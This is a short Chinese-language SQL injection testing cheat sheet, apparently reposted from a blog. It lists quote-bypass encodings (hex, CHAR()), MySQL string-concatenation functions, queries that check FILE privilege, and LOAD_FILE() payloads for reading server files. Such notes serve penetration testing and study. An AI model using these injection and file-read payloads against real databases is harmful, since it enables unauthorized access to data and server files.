sql注入测试总结

引号绕过

SELECT * FROM Users WHERE username = 0x61646D696E  ---> Hex encoding.

SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) --> CHAR() Function.

字符串连接

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n'); SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n'); SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
CONCAT()函数用于将多个字符串连接成一个字符串。
语法及使用特点:
CONCAT(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。可以有一个或多个参数。
CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)。
GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。
 
 
 

特权

文件特权
以下查询可以帮助确定给定用户的FILE权限。

SELECT file_priv FROM mysql.user WHERE user = 'username'; --。需要root权限 mysql4/5


SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; --> 不需要特权 mysql5
 

读文件

如果用户具有FILE权限,则可以读取文件。

LOAD_FILE()

Examples:
SELECT LOAD_FILE('F:/wing.txt');
SELECT LOAD_FILE(0x463A2F77696E672E747874);
 

猜你喜欢

转载自www.cnblogs.com/fengshui/p/9283889.html